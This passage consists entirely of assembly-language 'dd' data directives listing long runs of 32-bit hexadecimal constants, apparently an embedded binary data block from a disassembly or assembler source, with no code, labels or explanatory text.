		dd 0D2660441h, 84C855E0h, 0D98880DEh, 0B0C11E20h, 0F230B685h
		dd 50CAF824h, 0F4491C46h, 3C61F0B1h, 0CC9747h, 4C700EC0h
		dd 5E00BCBAh, 923621F7h, 16268A9Dh, 0EFFF894Bh,	7EB85319h
		dd 74488422h, 3042330Eh, 0A7109C80h, 0B4922BDAh, 4B1B41E4h
		dd 0B861C896h, 0F2B370h, 2AB28DA3h, 0D26FDBE7h,	8DE0201h
		dd 5E85241Ch, 1878D0h, 7405B08Eh, 5C1BF1AFh, 5B925F13h
		dd 463CD006h, 0AC381851h, 143A89F4h, 0D558E700h, 41E85159h
		dd 7DB200DDh, 769D55FFh, 0F490FC24h, 0BD796204h, 4640C54Ch
		dd 0BFD2237Bh, 0E32ED009h, 0F4948437h, 805FEE47h, 0C9B8796Dh
		dd 0C5C16814h, 424A3A80h, 0AD864306h, 0EF0711E8h, 656A567Ah
		dd 8A930DC0h, 1CBD1E9Dh, 0D1A0806Eh, 0CAE286BFh, 188D914Ch
		dd 4E39EFACh, 0DF3F0064h, 413014F8h, 80A01173h,	6F16D7A6h
		dd 0FC346ACAh, 0F818C8h, 0B5147847h, 9636A2FAh,	0D3687C00h
		dd 0E50A0AEh, 700919Eh,	9078ED8Fh, 32B6D195h, 0A30104B3h
		dd 0BCCF13C7h, 82956180h, 24227466h, 4059B70Ah,	8D019096h
		dd 0E9847EC7h, 99CEA730h
		dd 984500C0h, 0AA932F17h, 59866001h, 0B4CFFBCCh, 0B23E2180h
		dd 3C2F1372h, 118A938h,	0E6A40237h, 898E579Bh, 70811506h
		dd 0F4E5B367h, 0D000E65h, 6E88ABD4h, 0F909DEh, 589D3987h
		dd 8D0699E9h, 0D3ED3700h, 7F3C4321h, 54800D8h, 2402424Eh
		dd 3A5CE98Ah, 0B5CEDE3Ch, 921198A1h, 7E350023h,	53A23902h
		dd 690B8CB3h, 6385BAh, 26FD6B98h, 742D0043h, 44A6D6ABh
		dd 0C6001FD5h, 71BA7E62h, 6340EE3Fh, 0A59B51F5h, 0C9C7C90Bh
		dd 0F24006Bh, 1C6C4069h, 833688FCh, 935A6DB9h, 0B2C38498h
		dd 71FB6007h, 0C73320C5h, 0CA77F955h, 0BA696CC4h, 0B4B10480h
		dd 1EBEC0ABh, 503202C3h, 632490FAh, 81431F5Eh, 316818CBh
		dd 6AF02640h, 8814CE48h, 834387A4h, 7172407Eh, 850F5346h
		dd 0C3F9B61Eh, 0DF951B84h, 44965232h, 125B02Ch,	0FECE7245h
		dd 0CCE3EB2Eh, 18FAD601h, 7098F379h, 95299100h,	941C26AEh
		dd 9C1D480Bh, 20C1A722h, 0C1ACA37Eh, 328CC180h,	6EF413E0h
		dd 0B4D30324h, 27C02510h, 0ABF3F8E6h, 8CA3D524h, 0FFA40C60h
		dd 894100BDh, 0F4A6357h, 39C34DC8h, 0C2495CF3h,	90C8447Fh
		dd 3F697BD0h, 348795A5h, 0C01EE421h, 0CC987F6Dh, 821939C3h
		dd 0ED27B877h, 0F81D5048h, 642AC0E9h, 41CAB604h, 0FB01ACA4h
		dd 0AF96D4B4h, 4180FE9Bh, 0EFB58824h, 6E096718h, 4C1AE6ACh
		dd 92D3169Ch, 0A2EC30CBh, 7C001A5Fh, 0CE45389Ah, 7D8916BDh
		dd 25B624B7h, 0EF4E40C8h, 96080795h, 3EBF35E9h,	0C890AC35h
		dd 0B9727848h, 689E4928h, 7A13DE00h, 0D1D608DDh, 0A4AB5CE2h
		dd 0F7A01587h, 0FAC9F0A8h, 9A00D011h, 0C221FE84h, 45E9F83Ah
		dd 7EB8303Fh, 0AB128102h, 0C8992290h, 8143DF1Ch, 0F146296h
		dd 0C0FD2642h, 99985FEFh, 285C00F2h, 4F96EA0Ah,	318D89Bh
		dd 1B59C3CCh, 0EF72003Ah, 0F555276Bh, 0FA2E10EAh, 5130C326h
		dd 0B8A861h, 6F21356Dh,	49852ACDh, 0AB94E30Ch, 2C41C9EEh
		dd 793593h, 520D9577h, 8030C804h, 492621C4h, 1B8A6A6h
		dd 272F90BFh, 70C4A986h, 5801133Bh, 0C6F8E96Eh,	56DCDBAAh
		dd 0B75D132Ch, 0E19420C1h, 7A091ABDh, 83134D57h, 0B6CE38h
		dd 3B8A9FC9h, 6A10337Dh, 3622C801h, 0B211B9C4h,	5A347F4h
		dd 4BB0E298h, 30B8990Dh, 4C908120h, 96003574h, 40A3AE90h
		dd 91AC51C4h, 18F100F0h, 0BDB2F0DCh, 0B4905898h, 44178617h
		dd 0B1258A00h, 282C60Fh, 77B266Fh, 0FCE435EEh, 8B209B48h
		dd 39788034h, 1140265Dh, 1F5AD4Ah, 0B676FF3Eh, 55E44F21h
		dd 0DA1C003Ch, 0FC0878EBh, 9903F406h, 43EED52Dh, 84591156h
		dd 92711FFFh, 180F783Ah, 896C952Bh, 89C400Dh, 0BED20B6Bh
		dd 0B000A664h, 0DE5ABD76h, 8E00ECB8h, 0A423E94Dh, 982E4C47h
		dd 98A0E20Ch, 0D7E701DCh, 823E278Dh, 40A1D192h,	7E1BA73Ch
		dd 0B7D17300h, 682C139Ah, 94C090Ch, 2D00F769h, 0AB1C3543h
		dd 58412A01h, 0AD727686h, 13905EF0h, 65241Eh, 0FF7943ACh
		dd 0CC913BB6h, 0C3AEA030h, 0B7C0138Ah, 904021CCh, 0E3029CEh
		dd 402A5CB5h, 1F9316E1h, 7D4A015Bh, 0F3306FCAh,	7BE84136h
		dd 8720485Fh, 8C3104B8h, 0AD8D089Dh, 0A0004C72h, 728911BDh
		dd 0FF009CB7h, 423DF528h, 85E9F4h, 0C07BAED4h, 95B76A84h
		dd 33823EDh, 3B1CC2E5h,	79C0C010h, 18C7C54h, 3985121Ah
		dd 4840E8EEh, 0E88A5D4h, 0FE060094h, 5DA38058h,	11006305h
		dd 3CF2BF23h, 5C5F1476h, 69A06010h, 0D63FD55Bh,	0CEDC48E7h
		dd 24712025h, 3D075F7h,	50987E4Ah, 83F01C42h, 0AC17B402h
		dd 48301245h, 416091h, 3C76E2E8h, 612AFD15h, 0DD853100h
		dd 5CA362D8h, 96F20025h, 108B97D9h, 3E045D9Bh, 37EE05E5h
		dd 4BB530C8h, 6FC440ACh, 0FBDF7F95h, 0D9D6000h,	0FC11DB7Ah
		dd 0B886746Dh, 15960060h, 1E705EA9h, 0C248A669h, 13D42040h
		dd 20A1E0ADh, 703A834h,	994A3307h, 0F7239061h, 410FC0DDh
		dd 781F0980h, 88449FFCh, 0D61A1000h, 6FD2B263h,	0E70FC2Fh
		dd 41482406h, 4E6D8181h, 7F1C6020h, 0AE3B0EF6h,	0B64C42h
		dd 55C4BDF9h, 11C5171h,	43E99EA9h, 3C26E24Eh, 661181C8h
		dd 7AF05E5Ch, 2D8A0040h, 0A6388EB8h, 0E84BE9EEh, 0D3AC0C42h
		dd 0B5BC8024h, 1A3BFDCh, 807C9159h, 39A135D1h, 0C2650040h
		dd 0FBA20C2Ah, 11D003Dh, 5DABC987h, 4D000BFDh, 106B3675h
		dd 62D26Eh, 0BD5B0599h,	30C695DDh, 0DE24134Ch, 48ADC340h
		dd 92BACF75h, 0A7280008h, 41626EC9h, 84003BEAh,	30581825h
		dd 0F257497Dh, 5FAD0501h, 813E2Ah, 509B368Ch, 6A01A91Eh
		dd 0CAA1DDE1h, 51B0BD45h, 0E9FFB1D0h, 0EED3A609h, 60FCE836h
		dd 6342F015h, 74BD11A5h, 27289978h, 0DD3C7896h,	0BCDC807Ah
		dd 54ECC9C0h, 8AE65Ah, 622C701h, 1C565B4Bh, 8646AE02h
		dd 8072C807h, 0BF934724h, 6E716B8h, 0B6EC209Eh,	5C7E9D1Dh
		dd 3B082D48h, 0FDBC54CCh, 24C39F3Ah, 8D12D4E7h,	0AC359C05h
		dd 7E88A4h, 9B90709Ah, 92197188h, 2ACAB207h, 96000E13h
		dd 0A30F55h, 95115DD4h,	688F6D97h, 1A77C4A0h, 0FF0E5B09h
		dd 0BC88489Eh, 948B0747h, 0C00F105Dh, 7311333Dh, 5A183C1Dh
		dd 16B28145h, 2FCD830h,	3F30013Bh, 683E95Ch, 0E252D0DAh
		dd 74E72002h, 0C4A15E4Ah, 10990018h, 1B5BC40Dh,	0C227FDEAh
		dd 0A2149104h, 248F7DE0h, 4B0E1D4h, 0F2DA9D7Bh,	0FCB000B8h
		dd 2655D0CEh, 2C1C715Bh, 101C1724h, 8256884Fh, 3499426Ah
		dd 0ECC0CE60h, 0F7004098h, 894792BFh, 76259Dh, 52096D1Ch
		dd 0B77EA311h, 0D5544206h, 71B5CCh, 0C49B3108h,	6C8EE6EFh
		dd 20DDDC0Ah, 50268C27h, 0F6DBCB40h, 0D2A50014h, 0BABD91C7h
		dd 0AB2A0DDCh, 0E9FED012h, 0A09BD700h, 0F2083D70h, 956C3C3Eh
		dd 5C306A00h, 8BFA3AA4h, 0E0702000h, 941C59B9h,	0E45001BBh
		dd 0B58F4B3Dh, 916C409Bh, 0DF07BC09h, 0D415D08Eh, 0ED1BBF10h
		dd 3CAB0157h, 0B7EB4DB3h, 59D04830h, 66F34603h,	4840EE08h
		dd 900074D9h, 3734E958h, 15180377h, 69B1ECACh, 701C0286h
		dd 0B50BD77Eh, 79C8DE87h, 0C6E98C91h, 0D4809479h, 64F0A32h
		dd 19F760A1h, 0A9B19CA5h, 3A0711FEh, 4FD686B4h,	1B02AB50h
		dd 1AD7FA2h, 7E051562h,	729B0EA9h, 0A5884h, 0F6194034h
		dd 1E461770h, 0FAB4CDC9h, 5A0D8589h, 0E7649882h, 20F08441h
		dd 5019864h, 0E4AFCE74h, 0A992EAADh, 0E77500CAh, 1631C69h
		dd 0C3E9A00Bh, 0ECD00070h, 0A8C2CFA4h, 17DE88h,	8AE3D3E1h
		dd 1AAE6658h, 7D467102h, 0C1269BDBh, 0E463A6B8h, 0F8B02B3Dh
		dd 1D3E2411h, 0A4AC0D00h, 6BB29E13h, 7D4FC54h, 6EC08062h
		dd 639512B6h, 10BAAC61h, 129F6B66h, 20ACA3FBh, 6D235B14h
		dd 98F69D01h, 424EE6Ah,	0B6C0AD21h, 0E776050Ah,	0A2FDCD47h
		dd 53892C48h, 145B1103h, 2543D00Eh, 864D1793h, 0AC2C0908h
		dd 0E6A86C00h, 8D1E2050h, 0AFA7A6D7h, 8CA96018h, 3B759FB4h
		dd 0AB0E1D90h, 88E2648Bh, 0D4CC4DBDh, 20BCB481h, 0AC96AB6Dh
		dd 3ED3F883h, 28419064h, 5C5E489Bh, 88CE4913h, 0B2039778h
		dd 6676EF74h, 0F5589156h, 2FAE09E8h, 44A0CE84h,	5BC7B2C4h
		dd 6EABC000h, 0C943B5B7h, 68A7072Ah, 0E03703DCh, 24045987h
		dd 2B6D9D17h, 193EB801h, 9C20DCDEh, 270F26E6h, 0A17B0198h
		dd 50CD9880h, 0E01383D0h, 8E40CA00h, 27D3AA85h,	2B45A49h
		dd 0CAE8C14h, 50BCF084h, 7200DCC8h, 48C029EDh, 28400008h
		dd 60EC2CAh, 0C4057990h
		dd 0A50F4558h, 0D000E8A2h, 0C79DC268h, 71000409h, 7E7C292Fh
		dd 7E07A80Bh, 1C844808h, 0E62CD580h, 903C41B9h,	0DE938182h
		dd 21D3446Eh, 90AFCAF0h, 0F9A3245Fh, 1E4111B8h,	6F1C8132h
		dd 4ABDD2C1h, 88D0D1A4h, 0B9CA00A7h, 0B5741A29h, 0E0F96DC5h
		dd 0D40339F6h, 0AC486FEEh, 7AD900E9h, 794FA512h, 0F707E03Fh
		dd 75DFA09h, 59027C92h,	200C0064h, 5916C784h, 0AD951A07h
		dd 2930C6D7h, 9187A613h, 657684A0h, 7700BEF4h, 742FF841h
		dd 9006F037h, 54A11ECCh, 46D740EDh, 1E26024Ch, 84B09E2Ah
		dd 54EE2500h, 0C07B99Ch, 44963B0Bh, 0A9875A00h,	2233DA67h
		dd 88487F00h, 0D4555827h, 609EEED0h, 169941C9h,	2009768h
		dd 1B3E8011h, 2CE7DA98h, 603CFE57h, 0EA9C5A1Ah,	3A996F01h
		dd 0CCD7B619h, 8E4920CEh, 7F02FCC7h, 0C5F45DC8h, 3AEBC0F5h
		dd 0BE5B7961h, 0FCC16960h, 0BB146033h, 50E288h,	7A3CB66Ch
		dd 3011E3BAh, 0D9EBD500h, 7207FECEh, 40CB2E90h,	0CD64C040h
		dd 0E45A137Bh, 0DD9D6823h, 0B548B300h, 210911Bh, 0E420F9B4h
		dd 0E4841E0Bh, 50A230h,	0EC299F7Fh, 0F700CBAh, 829EA4FFh
		dd 2410D460h, 3D4CE964h, 80CE8938h, 7E028F5Ch, 6DB61281h
		dd 2DEC0B7Dh, 49003CE4h, 48849007h, 46CE22Eh, 0AB02EF08h
		dd 0D61E40ECh, 194C8D4h, 3EE1E651h, 4277BD87h, 0E4C4CF20h
		dd 0E1B3C91Dh, 0FC1B81FAh, 4B5059BCh, 66F804C7h, 81ACCC02h
		dd 9213B058h, 5409C909h, 7C7410EBh, 91470BF8h, 5189CCE1h
		dd 0E9DF1480h, 6C1EBB9Fh, 84061A86h, 50389343h,	494743Eh
		dd 17B52506h, 8108D09Bh, 6D0292AEh, 0CE7E4184h,	905AABh
		dd 3F445A26h, 0CA9E5CC7h, 8BB96100h, 0DBC58C48h, 635E8Ah
		dd 0F2C2A704h, 9B0A6CEFh, 781249C8h, 0D200B611h, 0FAA57A5Fh
		dd 44004078h, 529EB90Fh, 0B412D1Fh, 0C18FE620h,	9C9D3C00h
		dd 4F1F34B8h, 3B0019D1h, 0C64B356Dh, 76F70AB6h,	5CCC2C8h
		dd 0A46CCB98h, 0CAE05804h, 0B06B52h, 428A6DF8h,	0A6F9EA12h
		dd 111C39BCh, 9D52320Bh, 9B248C01h, 0B15C24A4h,	1F95C900h
		dd 309F88ECh, 2C73E0h, 0BD3EF7D1h, 6FF87F08h, 91CAD804h
		dd 0A0C89B26h, 0C5A8009Eh, 0A25F631Fh, 0A0C599DAh, 2580754Bh
		dd 51BB57h, 71E0AE1Ch, 5B8CC61Eh, 34D74504h, 0F48C48FFh
		dd 1D9E065h, 7D2A24BCh,	0FCC08C3Dh, 69001C2Dh, 0E7FB4EB3h
		dd 0B1ACF13Bh, 0BF0F00E0h, 89C45C01h, 0F7CBDE00h, 0E9E83796h
		dd 743C00E7h, 4DACD0B6h, 0E52442A3h, 0FD1FCCD5h, 3E67DD00h
		dd 222946Eh, 0CA4979C6h, 7071C5DCh, 0E9C20E00h,	5553DE5h
		dd 76588272h, 40D51D3Fh, 0DB06DA3h, 9302BCD1h, 0B6D87E29h
		dd 805CF13Ah, 27308879h, 0F94C1C0Fh, 0F23F1110h, 3941850h
		dd 49557F5Bh, 4AD8D1A3h, 98B6CAEAh, 0D4A61E40h,	0AEC344CCh
		dd 2C758BDh, 81A4E694h,	849916F7h, 9A8F601Ah, 97D6A200h
		dd 86D153E1h, 766D3F7Fh, 8DA65D3Dh, 98AC0EFCh, 0C048AD2Bh
		dd 2100037Bh, 0AB5A7A10h, 0CE1420h, 0BBD532E1h,	0C0CF79A7h
		dd 25AC6688h, 0B840DCFDh, 3E132A98h, 488826B5h,	54E007Dh
		dd 9F1C76F5h, 6C0087B4h, 0E5E710D6h, 254DBEF3h,	0CC68CF62h
		dd 0F700A63Fh, 34A41117h, 761A79B3h, 0EF9B2C16h, 747000BCh
		dd 398E6D63h, 0E08009DDh, 0CAA01440h, 946B5462h, 0E68D0E3Eh
		dd 8FC09B47h, 5B1EBDEEh, 103AE925h, 7B05C0h, 92CB957Ah
		dd 0E0616E7Dh, 74BD5F08h, 20CE96F0h, 0F6274554h, 329EED03h
		dd 0A8DB76BCh, 2E92069h, 138C6108h, 30544CC8h, 0A044FB60h
		dd 9C242E1Fh, 6FA0034h,	2D717B62h, 5F0284FAh, 60C27296h
		dd 2E466B5h, 74E52438h,	0BCFE8779h, 0FECA7600h,	50AC2F49h
		dd 2DF4CEEh, 0C287404Fh, 0AC407186h, 274EFBF9h,	637AC20h
		dd 47DB00FEh, 4156D505h, 0CB0FBC8Bh, 894254B2h,	0B78A02A2h
		dd 940463Bh, 0C35A4B86h, 4F94B880h, 7304F810h, 39B75EF6h
		dd 167E64A4h, 307F5AB5h, 4F6224F8h, 41A40C00h, 9F974366h
		dd 0E5490753h, 0B8CA9559h, 8DA91C40h, 9BE9012Ch, 0E39C0B98h
		dd 99984090h, 1F01FBF6h, 0B665B294h, 202B8B95h,	7B67EA1Ch
		dd 255F6D00h, 84E9266Bh, 233D000Eh, 0D3B2D1BBh,	0FF02D4EEh
		dd 51FC36E8h, 0AB704009h, 0C4E013D6h, 0C0E81D26h, 42C8A8E9h
		dd 0EDE948B7h, 8CC815F0h, 29B081h, 3656EDEBh, 0C79641D4h
		dd 0B20040F4h, 21E8CF01h, 76037Dh, 39847312h, 59698678h
		dd 6C9B5802h, 7277C8B0h, 8D79C2B0h, 7C5E2C87h, 9B169040h
		dd 27CE0517h, 2EF2FF9h,	3BDF9680h, 10CB70E1h, 0E30D5B6Ch
		dd 1EAB0E70h, 0B5014Ah,	1FD85DBFh, 0C00B62C3h, 1072C849h
		dd 88BCCEA4h, 4B3A2F48h, 0FCCB2C9Fh, 5FD88F61h,	1C4E8CF4h
		dd 66C2E2A4h, 72870000h, 0B77DED0Dh, 47BE951Eh,	0C03F328Eh
		dd 0BC7BC614h, 0CAA613F6h, 0FB3C20CEh, 5EA2FDEh, 3D9E3405h
		dd 80F2B657h, 23B9D900h, 0CE621425h, 6ADEE07h, 40543273h
		dd 570184ADh, 0A8644D2h, 30A3E8B2h, 14C8964Eh, 333E85Bh
		dd 26C1FD51h, 0CCB3CE5h, 9D8D4FB0h, 0D0654E02h,	98110190h
		dd 12EE61ACh, 0A6FB75h,	6CF277B8h, 8048BD92h, 42E9859Ch
		dd 781C14C8h, 0A43F27FCh, 0E0B0D892h, 39721C21h, 9E047803h
		dd 0DB927B7h, 0CF44CA69h, 747423A9h, 0B08C8B00h, 32EAE90Fh
		dd 0ADB300BAh, 13B9ED4Dh, 34E09E16h, 0B6000890h, 0E3CB62C5h
		dd 4432947h, 0C92D35D3h, 1F4385D1h, 0A880C068h,	5BF247FDh
		dd 0CE18965Ch, 8B0E20E4h, 0C49A9Fh, 0EAB113C5h,	6E502FB4h
		dd 0A4805C4Bh, 0C056A0FFh, 238CEE99h, 1F000EE3h, 31101A45h
		dd 25DB13Bh, 9870E8F2h,	8044CCD5h, 87326739h, 0AFDF615Ch
		dd 0A21289E0h, 0CF730Fh, 24ACDBE3h, 117320BEh, 0F4BCE601h
		dd 0A1593798h, 0F200FC69h, 7DE88D14h, 79F4B91Eh, 0E4AED0CBh
		dd 0F60539FCh, 0A5436C00h, 0B67E501Bh, 0E45010EEh, 37126BCh
		dd 8BC61101h, 0FC53046Dh, 2486E0EBh, 0D5AD02D2h, 0CE74B2E5h
		dd 5516C458h, 0E8C8DAFEh, 90D70F94h, 0F120FFF4h, 365086A6h
		dd 80CCEF60h, 0FC4E05E0h, 74CE000Ah, 76D7DADCh,	0C98AD09h
		dd 30D8814Ch, 873C88B6h, 0C1A17CE1h, 8C749D59h,	86682048h
		dd 22DC2807h, 0D5603733h, 3803E01h, 1A8C6DABh, 6ABFE7Eh
		dd 0BEE3C1h, 20EAF62h, 363E2F4Bh, 1CF95ECCh, 3A01003Eh
		dd 0B9F4B804h, 7C7000Ah, 0D9866C39h, 0E8058555h, 825BF87Eh
		dd 0A90110C0h, 56D80473h, 0C1B34216h, 12C54B00h, 41DB6046h
		dd 272EF905h, 1662B0A4h, 0D0193A4Dh, 237951A0h,	6CDCD2C1h
		dd 9C930088h, 0C30B8B6Fh, 0BD094937h, 71B6EB40h, 47F51FB0h
		dd 0E42642FBh, 0C05CAC71h, 28B9CBE4h, 3C5803A8h, 47CA43E6h
		dd 6CC62109h, 1298D03Dh, 42E50ABh, 0C1405E80h, 12F57F94h
		dd 8C1887CEh, 47C96BF0h, 0E9722719h, 211C4C4h, 1400F4ABh
		dd 2DF094C0h, 22005F30h, 535907B3h, 0FE39DCD4h,	24E11F4Dh
		dd 5080AF6Eh, 4F9B8046h, 828D643Bh, 391E35C4h, 0CE146067h
		dd 624012Dh, 0E9A85AC8h, 7822D3F9h, 4EBD7C4Ch, 0EC7889D6h
		dd 5C071884h, 0C8A2AC58h, 7FB9CA20h, 64815C3Eh,	8830D4C0h
		dd 8300DE24h, 0C91D9A8h, 58381E7Ah, 9EC9E4D1h, 426E8503h
		dd 6DF22198h, 0B088B361h, 7C40F7A0h, 0CC77Fh, 0A7E1394Bh
		dd 0E8B2730Eh, 0A60FEAFEh, 21DECCA8h, 0F2591A60h, 0C0299ED9h
		dd 0F69DC503h, 0D9CBF4FCh, 930248E2h, 1FDCC4ADh, 8090E8C7h
		dd 85345080h, 931475C6h
		dd 14D0B44Ah, 3988815Ah, 4140919Ch, 26F47300h, 6CC0FF3Eh
		dd 0D1A6AD00h, 648E2B44h, 5F202B2h, 0E6478574h,	0FC0018D1h
		dd 956F4F78h, 0DBD2008Ah, 0D3315901h, 6B00C176h, 0B89C505Bh
		dd 9A14436h, 187CCE3Fh,	6FE96C30h, 9183158h, 84B30A7Bh
		dd 8A49A470h, 0D9374680h, 0C4097041h, 9A80E3AFh, 4D9201CCh
		dd 0DC609324h, 0CBC70017h, 0D3AD2FDDh, 802F9716h, 0AB189052h
		dd 0B9E60385h, 0C8033D73h, 0E9D237A0h, 3890A307h, 0F71BCA1h
		dd 7C204052h, 9B8E3091h, 26444C69h, 190DDE05h, 74E2C59Fh
		dd 711D5201h, 3B31A39Eh, 325A2C20h, 53B70492h, 0C05F6A80h
		dd 5625E99Ch, 0B80DE12Eh, 0EE13F411h, 0A9EC405Eh, 27AE57E9h
		dd 0D020FB4Bh, 0DFAB5Ah, 0D24938A8h, 0DE4523C3h, 1B9E300h
		dd 91CAC83Fh, 0FA0D072Ah, 0F0493E31h, 0AA98E65Fh, 39C7A102h
		dd 664EB265h, 43954C18h, 0A8B49A00h, 0C9D69CE8h, 0E4E10326h
		dd 5A1A7B01h, 407CA4A9h, 0EB145780h, 39001751h,	6493809Ch
		dd 12D29642h, 5B11BDh, 9BA39890h, 0A75EE8E9h, 6C5A0042h
		dd 632CE1F8h, 1C0BDC29h, 34596724h, 33A5D600h, 39F4BF97h
		dd 0D3009C86h, 0CE16D8Dh, 920B690Eh, 1045CADEh,	60CCB790h
		dd 0FD7E99F5h, 0D21DAE1Fh, 0EA82E901h, 0F1A4DFC4h, 11520058h
		dd 28F86E53h, 0A9CA8600h, 0AEB8ABB9h, 0E05B4C7Fh, 345E84C3h
		dd 4249FFF1h, 0ACE0DCC4h, 0FC628773h, 54A0AE10h, 6A9D87D8h
		dd 0D9B770EAh, 98E82BD8h, 0A18AB014h, 0A632C454h, 0F95FE147h
		dd 614D44E8h, 71028B14h, 28272C9Ch, 0D149D409h,	847D03D8h
		dd 42D06430h, 70003A5Ch, 0B6417624h, 0FCF49Fh, 0E771210Ah
		dd 206E5F26h, 0C144F0B0h, 82AD00AFh, 0CF6F62A5h, 64F4F99Bh
		dd 688D5F07h, 6DF05EE8h, 0E026FED0h, 0CEE4005Dh, 0A4B9A8C8h
		dd 0E17F9372h, 3990D8B0h, 11800D0Bh, 0C0C4B4h, 0CB402805h
		dd 3971AF29h, 0F7F42E13h, 9D60803h, 0E9CCA035h,	415505C6h
		dd 0C7F09768h, 608068C0h, 0A97321D8h, 154989Eh,	92CC759Ch
		dd 205F8A64h, 44988F0Ch, 0B1BD0E44h, 0B7CF8820h, 0AD2D8780h
		dd 7920497h, 17623C7Ch,	4FD8C015h, 60BA974h, 220C68h, 85F68244h
		dd 4C7914C0h, 9C80C096h, 0DD992416h, 1FCB9380h,	6D92BFD1h
		dd 0D4F7A444h, 4021CC3Eh, 1E6100A1h, 0F65DD4F8h, 0C9BC895Eh
		dd 0A50BC700h, 4569C4FCh, 94B90E75h, 525C4F80h,	124858D5h
		dd 0A2D91646h, 0E1F509CCh, 7A3A00F4h, 0E01E925Fh, 52C11D3Dh
		dd 84C8051h, 0FB77AE04h, 281CAA2Ch, 0A0233261h,	721191E4h
		dd 0A6B93D50h, 43F105F7h, 8D6CCB4Bh, 0D4C1D2CCh, 3E410BDh
		dd 0D50E2708h, 0EBB29010h, 3A0E40E4h, 0BD795473h, 2E8E694h
		dd 0CBE511D1h, 9D4C7A62h, 0CC6AEC03h, 0C0705158h, 47F0C203h
		dd 14D200A2h, 95B01988h, 0D9F4443Bh, 1E6BD097h,	578C42FFh
		dd 9DE8012Ch, 2C0ACD1Ah, 0BD9805Ch, 7E1E9379h, 5BBF0095h
		dd 4690C4E8h, 0D309EC91h, 913EB6D0h, 8020D498h,	0BDA1004Ah
		dd 3A8732AEh, 3498A31Eh, 3B709197h, 34EE1851h, 9B25B862h
		dd 0FD6AC0A1h, 952BFCC1h, 9E20CC3Eh, 0DD4B1892h, 280458C0h
		dd 0B880ED1h, 0FDEDE580h, 0CB01E8C4h, 0EA37E98Dh, 82C86A62h
		dd 0F8420156h, 0B0BB6C3Ch, 0CC203B89h, 9E5BAFh,	0EEE93785h
		dd 8AC858B3h, 2209E300h, 0DF103BFCh, 0B4F900F8h, 0BF4153BCh
		dd 620075B8h, 0BBDBACBAh, 1DAFAE39h, 40243A73h,	237B2B76h
		dd 70E7CD98h, 0C000EED8h, 5D324B0Dh, 48E6802Ah,	0BF06AE79h
		dd 684F270Ch, 0B3F01D03h, 0A05C5A45h, 0E010B33h, 3FDDBA72h
		dd 6B6F0921h, 0B9409830h, 7D06C24h, 0D555BDB3h,	46043050h
		dd 0FC000A09h, 0D7DF9856h, 3F6D365h, 6899EFE3h,	810A6EDAh
		dd 0F7FD39B9h, 19C03F1Fh, 14B09AF0h, 5FB2303Dh,	0E8F63220h
		dd 1F435D3Eh, 5403019Bh, 0E0FED1BCh, 0FBDEFECh,	0C70CAE4Dh
		dd 0E36E9503h, 31065900h, 609FC31Ah, 549A00B5h,	38FAC2F4h
		dd 3403886Ch, 9852BBD5h, 6023D8E9h, 97F60EF2h, 1C230AA2h
		dd 49008A3Dh, 0D8AFBB32h, 1EFDF11h, 19DDCAEEh, 806DEB4Bh
		dd 2B5E0121h, 954816h, 0D1D8C775h, 0BDAD1108h, 5751FC0Ch
		dd 0B85D2823h, 0D63E0065h, 6144B0CBh, 0F2FCF331h, 83ADCE01h
		dd 0BE3D7872h, 8AC33C40h, 57A10033h, 0AADDF8BDh, 0CD19D188h
		dd 5AA0B5C2h, 97DCF017h, 6C3B4136h, 8B1F8053h, 0F6A89333h
		dd 370A7FD9h, 7780B4D4h, 2A4D10B3h, 8C06533Ch, 84B03D19h
		dd 39543049h, 26FA28A9h, 35382F00h, 7E7DB1E2h, 0DAA301E8h
		dd 5A126BA1h, 22FCFC77h, 0B10BCC31h, 3440DE09h,	67EAB2C7h
		dd 0A072596Ch, 0EBE7B62Fh, 0FAF36600h, 51AF9E37h, 0B7390076h
		dd 2B7555F4h, 0E11DC2DBh, 37C723Bh, 85EFF911h, 52A8C1C4h
		dd 9AEB2A00h, 0E3951805h, 8803C5CFh, 0A18B64A3h, 0B44854C4h
		dd 7A4839C6h, 0DE776100h, 918EFFECh, 5687B700h,	0D3554ABDh
		dd 4BA7470h, 23EFA368h,	8D6888CCh, 0A427B201h, 15472EDh
		dd 0A71798Ch, 87004221h, 3F5A15B7h, 1D0890Ch, 9DAE0D18h
		dd 0FA48F854h, 0DFC2E090h, 30889903h, 0BBCC3Dh,	251177D8h
		dd 0F5098E7Bh, 0AF3098A4h, 61FBF074h, 12E7A0BFh, 90567AF4h
		dd 4F3200C4h, 0EFF6DA5Bh, 0BD03CB35h, 0F90A08AFh, 88F1002Eh
		dd 0DC972F5Eh, 56066AA2h, 35BDEED6h, 2ABE2858h,	78A44890h
		dd 55B29706h, 0EB063928h, 0E9E2E5A0h, 0BB7944B8h, 7D36DF16h
		dd 0BC6DCE00h, 30F50BFEh, 0AB216FEBh, 95041496h, 121DFA9Bh
		dd 0BB60C1C0h, 31AD0071h, 36F49AD5h, 0D101F0C8h, 0DB754FA0h
		dd 80CE0A64h, 38E48A3Ch, 537204ADh, 8196B783h, 206766E4h
		dd 0DC885B6Ch, 9C6E0018h, 223C3850h, 98A95572h,	0E0803E2Ah
		dd 1DBD5AFh, 70C0D625h,	3074AABCh, 33021D0Ch, 652C5DA3h
		dd 1CE4883Ch, 0ECA5CC0Eh, 0EE78926h, 8F866F3Eh,	34C64FA3h
		dd 0D0C070CBh, 0FB048710h, 27454883h, 0BBAA19C1h, 0F0976FC8h
		dd 0C1BF00E9h, 9CF08ACCh, 0C0C4EF55h, 0A882B467h, 2B882F72h
		dd 0CD6D2780h, 988609BBh, 3B053BB0h, 2129DB18h,	80A0F064h
		dd 0A205D173h, 0EC9E6224h, 106E9409h, 0D0EA4Ch,	0BBB634AEh
		dd 0C48170DDh, 788D8801h, 0F1D1B438h, 7955F0h, 0BE54587Fh
		dd 0F89501F4h, 9171EA35h, 0EC8DEF80h, 19410FADh, 15678924h
		dd 0E2BA530Ch, 337F84E8h, 4FCEC204h, 90805B81h,	2A8EC56Eh
		dd 0A0020Dh, 79DD33C3h,	0BC481559h, 802E6B3Fh, 0D1A27C4Eh
		dd 1AEAA1h, 0B356B5D8h,	709C674Fh, 0F40AB58h, 8E8ABCDCh
		dd 8FE7A0CFh, 0F039E180h, 0E43E3EB2h, 0AFBA1204h, 5C84C0h
		dd 8B4C99A4h, 0CC0EC65Bh, 4909F87Bh, 3D201120h,	18B444FAh
		dd 0A1B6A672h, 0C5192056h, 0C9114802h, 4844BE70h, 7B734ED8h
		dd 0BC80029h, 0E2F6839Dh, 7660EB3Eh, 985F3749h,	0DB5D008Dh
